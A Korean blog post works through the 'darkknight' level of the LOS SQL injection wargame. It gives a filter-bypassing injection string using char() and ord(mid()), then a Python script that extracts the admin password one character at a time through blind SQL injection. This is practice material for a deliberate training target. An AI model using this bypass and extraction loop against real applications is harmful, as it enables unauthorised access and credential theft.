Bace
LOS - darkknight 본문
문제는 다음과 같다.
pw와 no 모두 '를 필터링 하고 있고, no는 substr과 ascii를 필터링 하고 있다.
근데 no는 '' 로 받지 않고 그냥 받아 들이므로, '를 통해 빠져나갈 필요가 없다.
그러므로 no쪽으로 공격을 하는데, admin을 문자로 인식 시키기 위해 char를 썼다.
?pw=&no=1%20or%20id%20like%20char(97,100,109,105,110)%20and%20ord(mid(pw,1,1))%20like%201%20--%20-
이와 같이 보내주었다.
import requests
answer = ''
for i in range(1,9):
for j in range(33,128):
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=1%20or%20id%20like%20char(97,100,109,105,110)%20and%20ord(mid(pw,{},1))%20like%20{}%20--%20-".format(i,j)
cookies = {'PHPSESSID':'자신의 PHPSESSID'}
response = requests.get(url=url,cookies=cookies)
if response.text.find("Hello admin") != -1:
answer += chr(j)
print 'Found {}st letter'.format(i)
break
print '{}st letter {}th '.format(i,j)
print answer
solve
'LOS' 카테고리의 다른 글
LOS - giant (0) | 2020.01.21 |
---|---|
LOS - bugbear (0) | 2020.01.21 |
LOS - golem (0) | 2020.01.18 |
LOS - skeleton (0) | 2020.01.17 |
LOS - vampire (0) | 2020.01.17 |